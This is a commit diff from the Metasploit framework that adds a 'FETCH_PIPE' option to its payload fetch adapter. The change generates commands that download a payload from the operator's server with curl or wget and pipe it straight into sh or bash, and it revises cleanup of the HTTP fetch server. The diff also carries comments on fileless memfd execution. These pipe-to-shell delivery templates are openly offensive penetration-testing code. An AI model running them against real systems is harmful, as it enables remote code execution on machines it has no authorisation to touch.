Skip to content

Commit d897ba8

Browse files
committed
Rebase and add support for piped fetch commands
1 parent 0f4c73b commit d897ba8

File tree

4 files changed

+98
-35
lines changed

4 files changed

+98
-35
lines changed

lib/msf/core/payload/adapter/fetch.rb

Lines changed: 65 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -17,10 +17,11 @@ def initialize(*args)
1717
Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false])
1818
]
1919
)
20-
@delete_resource = true
2120
@fetch_service = nil
2221
@myresources = []
2322
@srvexe = ''
23+
@pipe_uri = nil
24+
@pipe_cmd = nil
2425
@remote_destination_win = nil
2526
@remote_destination_nix = nil
2627
@windows = nil
@@ -65,6 +66,10 @@ def download_uri
6566
"#{srvnetloc}/#{srvuri}"
6667
end
6768

69+
def _download_pipe
70+
"#{srvnetloc}/#{@pipe_uri}"
71+
end
72+
6873
def fetch_bindhost
6974
datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress']
7075
end
@@ -81,11 +86,36 @@ def generate(opts = {})
8186
opts[:arch] ||= module_info['AdaptedArch']
8287
opts[:code] = super
8388
@srvexe = generate_payload_exe(opts)
84-
cmd = generate_fetch_commands
89+
if datastore['FETCH_PIPE']
90+
@pipe_cmd = '(' + generate_fetch_commands + ')'
91+
vprint_status(@pipe_cmd)
92+
cmd = generate_pipe_command
93+
if datastore['FETCH_FILELESS']
94+
cmd << 'bash'
95+
else
96+
cmd << 'sh'
97+
end else
98+
cmd = generate_fetch_commands
99+
end
85100
vprint_status("Command to run on remote host: #{cmd}")
86101
cmd
87102
end
88103

104+
def generate_pipe_command
105+
# TODO: Make a check method that determines if we support a platform/server/command combination
106+
#
107+
@pipe_uri = srvuri + 'p'
108+
case datastore['FETCH_COMMAND'].upcase
109+
when 'WGET'
110+
return _generate_wget_pipe
111+
when 'CURL'
112+
return _generate_curl_pipe
113+
else
114+
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
115+
end
116+
end
117+
118+
89119
def generate_fetch_commands
90120
# TODO: Make a check method that determines if we support a platform/server/command combination
91121
#
@@ -232,9 +262,8 @@ def _generate_certutil_command
232262
else
233263
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
234264
end
235-
_execute_add(get_file_cmd)
265+
cmd + _execute_add(get_file_cmd)
236266
end
237-
238267

239268
# The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor
240269
def _generate_fileless(get_file_cmd)
@@ -281,6 +310,19 @@ def _generate_curl_command
281310
_execute_add(get_file_cmd)
282311
end
283312

313+
def _generate_curl_pipe
314+
case fetch_protocol
315+
when 'HTTP'
316+
pipe_cmd = "curl -s http://#{_download_pipe} | "
317+
when 'HTTPS'
318+
pipe_cmd = "curl -sk https://#{_download_pipe} | "
319+
when 'TFTP'
320+
pipe_cmd = "curl -s tftp://#{_download_pipe} | "
321+
else
322+
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
323+
end
324+
end
325+
284326
def _generate_ftp_command
285327
case fetch_protocol
286328
when 'FTP'
@@ -342,6 +384,17 @@ def _generate_wget_command
342384
_execute_add(get_file_cmd)
343385
end
344386

387+
def _generate_wget_pipe
388+
case fetch_protocol
389+
when 'HTTPS'
390+
return "wget --no-check-certificate -qO - https://#{_download_pipe} | "
391+
when 'HTTP'
392+
return "wget -qO - http://#{_download_pipe} | "
393+
else
394+
return nil
395+
end
396+
end
397+
345398
def _remote_destination
346399
return _remote_destination_win if windows?
347400

@@ -353,15 +406,15 @@ def _remote_destination_nix
353406

354407
if datastore['FETCH_FILELESS'] != 'none'
355408
@remote_destination_nix = '$f'
356-
return @remote_destination_nix
409+
else
410+
writable_dir = datastore['FETCH_WRITABLE_DIR']
411+
writable_dir = '.' if writable_dir.blank?
412+
writable_dir += '/' unless writable_dir[-1] == '/'
413+
payload_filename = datastore['FETCH_FILENAME']
414+
payload_filename = srvuri if payload_filename.blank?
415+
payload_path = writable_dir + payload_filename
416+
@remote_destination_nix = payload_path
357417
end
358-
writable_dir = datastore['FETCH_WRITABLE_DIR']
359-
writable_dir = '.' if writable_dir.blank?
360-
writable_dir += '/' unless writable_dir[-1] == '/'
361-
payload_filename = datastore['FETCH_FILENAME']
362-
payload_filename = srvuri if payload_filename.blank?
363-
payload_path = writable_dir + payload_filename
364-
@remote_destination_nix = payload_path
365418
@remote_destination_nix
366419
end
367420

lib/msf/core/payload/adapter/fetch/http.rb

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -11,16 +11,23 @@ def initialize(*args)
1111

1212
def cleanup_handler
1313
if @fetch_service
14-
cleanup_http_fetch_service(@fetch_service, @delete_resource)
14+
cleanup_http_fetch_service(@fetch_service, @myresources)
1515
@fetch_service = nil
1616
end
1717

1818
super
1919
end
2020

2121
def setup_handler
22-
@fetch_service = start_http_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable']
22+
unless datastore['FetchHandlerDisable']
23+
@fetch_service = start_http_fetch_handler(srvname) unless datastore['FetchHandlerDisable']
24+
escaped_uri = ('/' + srvuri).gsub('//', '/')
25+
add_resource(@fetch_service, escaped_uri, @srvexe)
26+
unless @pipe_uri.nil?
27+
uri = ('/' + @pipe_uri).gsub('//', '/')
28+
add_resource(@fetch_service, uri, @pipe_cmd)
29+
end
30+
end
2331
super
2432
end
25-
2633
end

lib/msf/core/payload/adapter/fetch/linux_options.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,8 @@ def initialize(info = {})
66
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]),
77
Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+']]),
88
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'false']),
9-
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', '/tmp'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'false'])
9+
Msf::OptBool.new('FETCH_PIPE', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
10+
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'false'])
1011
]
1112
)
1213
end

lib/msf/core/payload/adapter/fetch/server/http.rb

Lines changed: 21 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -21,42 +21,44 @@ def srvname
2121

2222
def add_resource(fetch_service, uri, srvexe)
2323
vprint_status("Adding resource #{uri}")
24-
if fetch_service.resources.include?(uri)
24+
begin
25+
if fetch_service.resources.include?(uri)
26+
# When we clean up, we need to leave resources alone, because we never added one.
27+
fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URIPATH to a different value to continue.")
28+
end
29+
fetch_service.add_resource(uri,
30+
'Proc' => proc do |cli, req|
31+
on_request_uri(cli, req, srvexe)
32+
end,
33+
'VirtualDirectory' => true)
34+
rescue ::Exception => e
2535
# When we clean up, we need to leave resources alone, because we never added one.
26-
@delete_resource = false
27-
fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URIPATH to a different value to continue.")
36+
fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}")
2837
end
29-
fetch_service.add_resource(uri,
30-
'Proc' => proc do |cli, req|
31-
on_request_uri(cli, req, srvexe)
32-
end,
33-
'VirtualDirectory' => true)
34-
rescue ::Exception => e
35-
# When we clean up, we need to leave resources alone, because we never added one.
36-
@delete_resource = false
37-
fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}")
38+
@myresources << uri
3839
end
3940

40-
def cleanup_http_fetch_service(fetch_service, delete_resource)
41-
escaped_srvuri = ('/' + srvuri).gsub('//', '/')
42-
if fetch_service.resources.include?(escaped_srvuri) && delete_resource
43-
fetch_service.remove_resource(escaped_srvuri)
41+
def cleanup_http_fetch_service(fetch_service, my_resources)
42+
my_resources.each do |uri|
43+
if fetch_service.resources.include?(uri)
44+
fetch_service.remove_resource(uri)
45+
end
46+
4447
end
48+
4549
fetch_service.deref
4650
end
4751

48-
def start_http_fetch_handler(srvname, srvexe, ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil)
52+
def start_http_fetch_handler(srvname, ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil)
4953
# this looks a bit funny because I converted it to use an instance variable so that if we crash in the
5054
# middle and don't return a value, we still have the right fetch_service to clean up.
51-
escaped_srvuri = ('/' + srvuri).gsub('//', '/')
5255
fetch_service = start_http_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version)
5356
if fetch_service.nil?
5457
cleanup_handler
5558
fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}")
5659
end
5760
vprint_status("#{fetch_protocol} server started")
5861
fetch_service.server_name = srvname
59-
add_resource(fetch_service, escaped_srvuri, srvexe)
6062
fetch_service
6163
end
6264

0 commit comments

Comments
 (0)